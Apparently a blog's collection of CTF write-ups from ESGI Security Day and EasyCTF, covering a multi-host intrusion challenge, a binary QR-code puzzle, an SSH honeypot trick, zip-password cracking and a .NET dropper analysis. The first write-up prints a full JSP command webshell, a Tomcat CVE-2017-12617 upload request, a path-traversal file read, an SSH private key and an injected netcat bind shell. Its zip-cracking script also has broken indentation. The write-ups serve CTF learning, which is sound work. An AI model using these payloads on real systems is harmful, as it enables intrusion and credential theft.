ESGISECURITYDAY - My Name is Rookie

description: M0th3r > Quelque chose me perturbe. Comment un Androïde a pu passer le test des pirates cybernétique. Duke le premier de son genre n’a été crée par personne du gouvernement. Aujourd’hui disparu je veux retrouver son core. Si tu veux m’aider, tu dois passer le test des pirate Cybernétique. C’est le test que Duke-083 a passé haut la main. Récupère tout ce que tu sais sur Zedcorp.

category: Web

Two endpoints were given for this challenge http = ctf.hacklab-esgi.org:5008 and ssh = ctf.hacklab-esgi.org:5007. On the web interface we find a robots.txt with the following entries:

Disallow: /assets
Disallow: /js
Disallow: /api
Disallow: /logs
Disallow: /images

Web Access

From there we can access the http://ctf.hacklab-esgi.org:5008/logs/ folder.

my name is logs

In these logs we find some credentials for the website/

username=admin&password=pxrAW7a4HNMBw86bc
--d2628b12-F--
HTTP/1.1 302 Found

These credentials worked on the login page.

my name is login

After beeing logged as admin we can query access.log and error.log with a parameter log

my name is access

Fiddling with it we can access some files, but they are truncated … The content of ../../../../../../../proc/self/environ gives us the current working directory

APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=8:11700
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=82b54f38b32a4bbb8c9fd813d21543f6
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html/0cc175b9c0f1b6a831c399e269772661

From there we can grab the content of the admin page with ../../../../../../../var/www/html/0cc175b9c0f1b6a831c399e269772661/admin.php. The website appears to filter some characters but we can use -n 10000 to force a longer output, turning this arbitratry read into command execution.

# Contents of ../../../../../../../var/www/html/0cc175b9c0f1b6a831c399e269772661/admin.php -n 10000        <?php
...                                              
$cmd = "tail -n 10 /var/log/apache2/" . $_POST['log'];                 
echo "<pre><code>";                                                    
system($cmd . " &");                                                   
echo "</code></pre>";  
...
?>

Shell Access

Let’s stick to the file read for the moment, we can read the /etc/passwd.

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
test:x:1001:1001:,,,:/home/test:/usr/sbin/nologin
trobin:x:1004:1004:Thibaud Robin,8,0145674356,0145674356,Trainee full stack developer:/home/trobin:/bin/bash

So there are two users trobin and test, what have they done recently ? Grabbing the .bash_history will tell us.

cd .ssh/
chmod +r id_rsa
cd ..
chmod +r .ssh/

Nice, now we know there is a RSA key inside the .ssh/id_rsa, I lost some time looking for it inside the home of trobin. We can find it located at ../../../home/test/.ssh/id_rsa.

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1f3hWbx2726sOiwm+gg8Td2261E7QSJhQHcQFEns7Ubonx6E
+YU4BgzQt136gK42RwoGOph8H/Tu0zfjGIx9IQOIDG8VmCItfUDFCexoqoZB2cj2
9sLKgA/VZqRJiSka1+uibcyIgFnyDegbSXt42J6XL6xZaT56aq539s8M/aFSWNEf
8yTBG7k4E0ZWqexBhXDK3rNJ1veH3EcJXBjYgitDLXSS/VPE7op6MlD5q7ZdNt28
45idJ5tT+U8xrht71oGiIswxi1dXz0VvjXOIJIk1iQIyRdiGIvPpHIY+Dxw2FTHo
pi7Z3M5hjoq36LQryHjVbUVaUrvkyeQtZXeDIQIDAQABAoIBAHloJrhAwsGo6rG+
ZwaoMX6D8cmkNpgHp2Fpq4e3QWKFPmk4aX0fZd+Y2bmO6hajwEuhllMcPB/tWKoh
JQjCfCOE22UiiP/dNC3B14h/xgopTab/642oijcJxKsNPmNBHOev2mGtDyyy2y+k
pgaUtMVBhMkZYUjil5V7ErjGU7p5CCqeZUditEMKq9eAAq8oNGq84L0ZKqx4dyPN
Ai36I8Nygk1SpYBod+K7lUYDDfd+ZPR/yEVhfHP9JqLdezfpeJW7SQvgc4Fb0rEY
+tvM0IfyIR/9tB7IrfNuXG6S+UjoP5eybasUMDn0sqSGYLfaq1pFZYolneDkrpeV
9mPBoAECgYEA+LJUBHTrdKWqxtwkugg05Iu5nEMTGhUmZ4b6x2MRGeadqPF6u9+R
0eubqX+oNWAKBgtHQSzE8faLnOJ6lc2oEN6jeukCDStYg//aIaEyZf2r/uBs0+zA
QNO8CQ5dXK5sowaFPgqXZ0mIFUmtDOgSm6M3IRc4BK6nYlxClVzTs4ECgYEA3Eal
GLMBNykaR0jCD1CartiTZay6ld1rCZVJWjONDgJGtzi0tW1j7Mr5jk0dwfp7cJVu
/Dx+sc4Om/nJ3h15pvvcrKnv0kPhqXX4h+dFmz2psTKmjYjpsff0eLRJS9JHVNEb
svu/zHqzzrRsm1un3Ikcvy0lnG31sg6kJ8EXH6ECgYEApe/Wv2KD+EDRwf4BQ19W
a2gPYIQgqraR+WHG0mL3diC58Y+uJMz3rulV47KZuYNrLL05vfLxNcEbRoKW6H1g
NmFXExuFkuPpG6oLEYVM62Bm8pksA/tkC907CY/cG4sGUYB4Rv0qKHCXrByMqp/u
SoqMrjef2P/wD2EfzCkz2AECgYBIr98m6VrLUvri7vVqjFSewcTR1k+zyF7byLFt
3Hj9WG7xYvruq2w/5TK4bGYXbopxOj5naab9EVvsyF5+twc/vPiy2VjT76Z1fwJG
BmEHuy9V07r2FWnYWlQHyKYvKPJ04JPdWgmOdicDXLJCCdq4gV5FD6bLmdVrrj0p
CSSSQQKBgQCI3TUMYeR/4+86B6i2sldPVtn52QrOHeaDwRfZ1Z7TRYPY6gIvKBLd
VVU6YcP0KwZUHeUOC7qNxSCTnB7FkANad+D/7a0MGqAGCmWChS5GD6zpqhW+tKkY
zc9Ur+20TJHIwAKloaZLiMdcpdyFUQQRStXCGD6wqbw8UxGfx1Fd0g==
-----END RSA PRIVATE KEY-----

Real Shell

Unfortunately we are limited via SSH because of the /usr/sbin/nologin. At least we can initiate a SOCK proxy with ssh test@ctf.hacklab-esgi.org -p 5007 -i privkey -ND 9050 (Don’t forget to put the good permissions on the private key : chmod 600 privkey).

One logged we can start a bind shell with the following command.

log=../../../home/test/.ssh/id_rsa $`nc -lvp  4242 -e /bin/sh 2> /tmp/a`

And we can connect to the shell using proxychains to go through our SOCKS proxy.

proxychains nc 127.0.0.1 4242
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:9050-<><>-127.0.0.1:4242-<><>-OK
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now we are not restricted for our commands, let’s inspect the network, the process and dig deeper inside the challenge.

root      2113  0.0  0.0  46604    92 pts/3    S+   Apr05   0:00 ssh root@project-server
root      2390  0.0  0.0  95204   444 ?        Ss   Apr05   0:04 sshd: root@pts/4
root      2408  0.0  0.0  21088     4 pts/4    Ss   Apr05   0:00 -bash
root      2414  0.0  0.1  47064  1452 pts/4    S+   Apr05   0:04 ssh root@admin-server
...
10.0.0.1        dev-server      dev-server.zedcorp     // Entry SSH
10.0.0.2        project-server  project-server.zedcorp 
10.0.0.3         admin-server    admin-server.zedcorp

So there are 3 machines : dev-server(the powned one), project-server and admin-server. Running an nmap gave us some interesting ports.

10.0.0.2
22/tcp   open  ssh
8009/tcp open  ajp13
8080/tcp open  http-proxy

10.0.0.3        admin-server    admin-server.zedcorp
21/tcp open  ftp notanonymous
22/tcp open  ssh
80/tcp open  http  basicauth

We target the port 8080 of 10.0.0.2, which was running a Apache Tomcat/7.0.81, based on that we checked CVEs and exploited CVE-2017-12617

CVE-2017-12617

Basically, CVE-2017-12617 is a Tomcat RCE via JSP Upload Bypass. The follow curl will create a page test.jsp with the content <% out.println(1 + 2); %>.

curl -v -X PUT http://project-server:8080/test.jsp/ --data "<% out.println(1 + 2); %>"

Again I lost some time because the exploit or the server is quite unstable there, if you have an error “500” just force refresh the page several times until you get an HTTP 200 result. The following Burp request will upload a CMD shell.

PUT /123456.jsp/ HTTP/1.1
Host: 10.0.0.2:8080
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 864
Content-Type: application/x-www-form-urlencoded
Connection: close

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

Here we are, with our first shell on project-server. Commands can be executed via http://10.0.0.2:8080/123456.jsp?cmd=id. It is time to dig into the box and look for sensitive data such as passwords.

1844458 drwxr-xr-x  2 csouplet  csouplet  4096 mars  20 10:46 csouplet
1844454 drwxr-xr-x  2 dcloutier dcloutier 4096 mars  20 10:42 dcloutier
1844450 drwxr-xr-x  2 fdaigle   fdaigle   4096 mars  18 15:00 fdaigle
1844462 drwxr-xr-x  2 trobin    trobin    4096 mars  20 10:52 trobin

Multiple users were created for this challenge but only one was interesting, once again we looked inside .bash_history and found the credential for the FTP of admin-server

Admin-Server

openssl
cat /etc/passwd
vi credentials.txt
cat credentials.txt 
cat -> TODO.txt
tar -czf - credentials.txt | openssl enc -e -aes256 -out credentials.tar.gz
tar -czf - credentials.txt | openssl enc -e -aes256 -out credentials.tar.gz --pass pass:daniel2019
ls -al
cat credentials.txt 
lftp -u 'backup,46t5r2e5t&2z!' admin-server
lftp -c 'open -u backup,46t5r2e5t&2z! admin-server; put -O / credentials.tar.gz' 
lftp -c 'open -u backup,46t5r2e5t&2z! admin-server; put -O / ~/credentials.tar.gz' 
ftp admin-server
...
rm credentials.tar.gz
rm credentials.txt 
...
cat  .local/share/lftp/cwd_history 

We can connect to the FTP admin with user=backup and pass=46t5r2e5t&2z!. Grabbing credentials.tar.gz, decrypting and extracting the archive iss trivial with the password pass:daniel2019`.

 Basic auth on http://admin-server:80
    + Username : admin
    + Password : zedc0rp2019!

- Simple test account on http://admin-server:80
    + Username : user
    + Password : user-zedcorp-2019

- Privileged test account on http://admin-server:80
    + Username : admin
    + Password : admin-zedcorp-2019

- CEO Privileged test account on http://admin-server:80
    + Username : ceo

These credentials are useful to access the web interface on admin-server. A quick test is proxychains curl http://admin:zedc0rp2019\!@10.0.0.3 > index.html

If we log into the service with ceo without a password we get denied with the message ERROR: CEO session is currently deactivated for maintenance. Trying the others users revealed a status cookie.

  • user: status=dXNlcg== base64(user)
  • admin: status=YWRtaW4= base64(admin)

We can edit our cookie to be base64(ceo) and we get access to the following files.

Welcome Frederic
Hiring
    CV1
    CV2
Futurs projects (confidential)
    Rizone
    Trybu

The content of Rizone.pdf contains the flag : ESGI{W3_H0p3_t0_S33_y0u_N3xT_Y34R:)}

ESGISECURITYDAY - Kubor

description: Kubor > Pssst Petit. Je t’ai contacté il y’a quelque jours pour resoudre cette enigme. Elle est beaucoup trop difficile pour moi !! Aide moi !!

category: Stegano

A .txt file was provided for this challenge, it was some 0 and 1. At first sight it seems to be a QRcode transposed into binary visualization.

  0000000000000011110011000000111100111100001100000000000000  
  0011111111110011000011111100111111000000111100111111111100  
  0011000000110011110011110011001100000011111100110000001100  
  0011000000110011110000110000000000000011001100110000001100  
  0011000000110011110000110011110000001111001100110000001100  
  0011111111110011001100000011000011001100001100111111111100  
  0000000000000011001100110011001100110011001100000000000000  
  1111111111111111001100001111001111111111001111111111111111  
  1111111100000000111111111111110000111100001100001111110011  
  1100110011001100110011111100111100000000111100000000000011  
  1111110000110000111111110000000011000000110000111111111100  
  1111000000111111111100000011001111001100001100001100111100  
  1111000000001100000011000011000011001100110000110000111100    
  0000111111001100111111110011001111001111110011000000000000  
  1111111100000011111111000000110011001111111100110000000000  
  1100110000111111110011110011111111001111110011000000110011  
  0011111111110011000011001100001111001100001111001100000011
  0000001111111111000000110011001111111100000000110000001111
  1111001111000000001100000000001100000011000000001111001100  
  1111111100111100110011001100111111111111000011110000111100  
  0000110011110000000011110000000011000011000000000011000011  
  1111111111111111001100111111110000001111001111110011001100  
  0000000000000011000011110000110011110000001100110000001100  
  0011111111110011000000000000001111110011001111110000111111  
  0011000000110011000000110011001100111100000000000000000000  
  0011000000110011111100001100000000111111110011001111110011 
  0011000000110011111100111100111100000011110000111100000000  
  0011111111110011110000000011001100000000000000111100110000  
  0000000000000011110000110011111111110011000000111100110011

Version 1

The first attempt was to replace “0” by “⬛” (Large Black Square Unicode), and “1” by “⬜” (Large White Square Unicode) inside my text editor. The result looked like this, but it wasn’t enough to scan the QR code with my Android.

  ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛  
  ⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛  
  ⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛  
  ⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛  
  ⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛  
  ⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛  
  ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛  
  ⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜  
  ⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜  
  ⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜  
  ⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛  
  ⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛  
  ⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛    
  ⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛  
  ⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛  
  ⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜  
  ⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜
  ⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜
  ⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛  
  ⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛  
  ⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜  
  ⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛  
  ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛  
  ⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜  
  ⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛  
  ⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜ 
  ⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛  
  ⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛  
  ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬛⬛⬜⬜

qrcode-vstudio.png

The next step, was to improve the QR code, we loaded it into Microsoft Paint an resize it to create a squared picture. Then we shrinked it, and we can scan the code with success.

qr-paint.png

Version 2

The previous version was working but unsatifying, I went back into the original idea of replacing characters.

cat qr  | sed "s/1/█/g" | sed 's/0/ /g'

And we have a clean QRcode ready to be scanned.

qr_easy

The flag was ESGI{QRC0d3_f0r_l1f3}

ESGISECURITYDAY - DeadEnd

description: Pas mal pour un Skid. Bah qu’est ce que tu attends, tu as son IP, son port. Alors go ! Rejoins M0th3r !

category: Forensic

The challenge was available at ctf.hacklab-esgi.org on port 8083. We can use netcat to connect to the service, it is asking for an host and a port. We supposed it would try to connect back or at least pung back. I put my VPS IP and the port 4242.

Connection from 24.241.180.159.in-addr.arpa.celeste.fr 51260 received!
SSH-2.0-paramiko_2.4.2

As expected we got a connect back from the challenge, revealing a sensitive data about it. The DeadEnd challenge is using Paramiko, a python library to interact with ssh. We set up a honeypot called sshesame from https://github.com/jaksi/sshesame.

go get -u github.com/jaksi/sshesame
snap install sshesame

We force sshesame to listen on port 22, and we wait for the connect back, if everything is working correctly we may get some credentials.

INFO[0000] Listening                                     listen_address="[::]:22"
INFO[0022] Client connected                              client="159.180.241.24:10729"
INFO[0022] Password authentication accepted              client="159.180.241.24:10729" password="BiteDePouletYoloSwagLolilolé" user=SuperEvilHackerOfShit version=SSH-2.0-paramiko_2.4.2
INFO[0022] SSH connection established                    client="159.180.241.24:10729"
INFO[0022] Channel requested                             channel=session client="159.180.241.24:10729" payload="[]"                                                            
INFO[0022] Request received                              channel=session client="159.180.241.24:10729" payload="echo \"Here is the flag: ESGI{St0o0ooo0P_L00k1ngF0r_M3!}\" > /tmp/flag" request=exec

Here we see the credentials, and after connected it try to write the flag inside the /tmp/flag.

username = "SuperEvilHackerOfShit"
password = "BiteDePouletYoloSwagLolilolé"
flag = "ESGI{St0o0ooo0P_L00k1ngF0r_M3!}"

EASYCTF - Zipperoni

I’ve created a dastardly chain of zip files. Now you’ll never find my flag! The first file is begin.zip, with password coolkarni.

Based on the instruction we can unzip begin.zip with coolkarni and we have the following files:

  • filename.txt : name of the next zip file
  • hash.txt
  • pattern.txt : pattern of the password for the next file.

The goal is quite clear, we have to unzip all the file and bruteforce the password based on the pattern.
The pattern wasn’t very understandable , at first I thought you had to guess the “_” when it fact this character was a part of the password.

Hint: You need to guess the password of the next zip file. However, the underscores in the pattern appear in the same positions as they do in the actual password, so you don’t need to guess them. For example, the first pattern is _0_0, which means that you need to guess the 3rd and 5th characters.

With this hint we can start cracking the passwords. Let’s start by generating our wordlist with mp64.
mp64 uses the following masks in order to generate a custom wordlist:

  • ?l = abcdefghijklmnopqrstuvwxyz
  • ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  • ?d = 0123456789
  • ?s = !"#$%&'()*+,-./:;<=>?@[\]^_{|}~
  • ?a = ?l?u?d?s
  • ?b = 0x00 - 0xff

With theses masks in mind we can parse the pattern to match our expectations, and then give the wordlists to fcrackzip

pattern = pattern.replace("A","?u")
pattern = pattern.replace("a","?l")
pattern = pattern.replace("0","?d")

The final script took around 10min to find the passwords and extracts the 100 zip files.

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, subprocess, re

def command(cmd,arg):
  proc = subprocess.Popen([cmd, arg], stdout=subprocess.PIPE, shell=True)
  (out, err) = proc.communicate()
  return out

if __name__ == "__main__":
  d       = 'list_mp64'
  zippy   = "begin.zip"
  pattern = ""
  n_zip   = 100

  # 1st password
  gen_pattern = command("echo 'coolkarni' > list_mp64", "")
  for i in range(n_zip):
    fcrackzip_cmd = command("fcrackzip -v -D -p "+ d +" "+str(zippy)+" -u","")
    print "[CRACK ZIP  ] fcrackzip -v -D -p "+ d +" "+str(zippy)+" -u"

    if "FOUND" in fcrackzip_cmd:
      passwd = fcrackzip_cmd.split(' ')[-1].strip()
      print "[FOUND "+str(i)+"] unzip -o -P " +passwd+ " ./"+str(zippy)
      command("unzip -o -P " +passwd+ " ./"+str(zippy),"")

      # open dir and zippy = cat filename
      with open("pattern.txt", 'r') as f:
        pattern = f.read()
        pattern = pattern.strip()
        pattern = pattern.replace("A","?u")
        pattern = pattern.replace("a","?l")
        pattern = pattern.replace("0","?d")

        print "[NEW PATTERN] ", pattern, ": mp64 '"+pattern+"' > list_mp64"
        gen_pattern = command("mp64 '"+pattern+"' > list_mp64", "")

        with open("filename.txt", 'r') as f:
          zippy = f.read()
          zippy = zippy.replace('zip_files/','').strip()
          print "[ZIP        ] ", zippy, "\n"

          else:
          with open('flag.txt', 'r') as f:
          print f.read();

EASYCTF - Maldrop

Mind looking at this malware dropper I found? Note: this isn’t actually malware, it just borrows obfuscation techniques from low quality malware.

Using PEiD we identified it was a .NET Binary, let’s use Reflector or another decompiler to inspect the C# code:

private static void Main(string[] args)
{
    Console.WriteLine("All the techniques implemented in this were found in malware samples I analyzed");
    byte[] arr = File.ReadAllBytes(Assembly.GetEntryAssembly().Location);
    string str2 = "[SPLIT";
    string str3 = "ERATOR]";
    byte[][] bufferArray = SplitByteArray(arr, Encoding.ASCII.GetBytes(str2 + str3));
    List<string> list = new List<string>();
    for (int i = 0; i < bufferArray[2].Length; i++)
    {
        list.Add(bufferArray[2][i].ToString());
    }
    object[] parameters = new object[] { list.ToArray() };
    Assembly.Load(bufferArray[1]).EntryPoint.Invoke(null, parameters);
}

It seems the binary is loading itself and split into 3 parts which can be extracted with the following script:

with open("maldrop.exe","r") as f:
    alltxt = f.read()
    data = alltxt.split("[SPLITERATOR]")
    with open('mal0.exe','w') as f: # loader
        f.write(data[0])
    with open('mal1.exe','w') as f: # payload , file gzip : extract
        f.write(data[1])
    with open('mal2.txt','w') as f:
        f.write(data[2])

Here we are with :

  • a binary which do the splitting
  • an another PE
  • some encrypted text

Once again we run Reflector on the second PE to discover what it does.

List<byte> list = new List<byte>();
for (int i = 0; i < args.Length; i++)
{
    list.Add(byte.Parse(args[i]));
}
MemoryStream stream = new MemoryStream(list.ToArray());
GZipStream stream2 = new GZipStream(stream, CompressionMode.Decompress);
byte[] buffer = new byte[0x100];
List<byte> list2 = new List<byte>();
int count = 0;
do
{
    count = stream2.Read(buffer, 0, 0x100);
    list2.AddRange(buffer.Take<byte>(count));
}
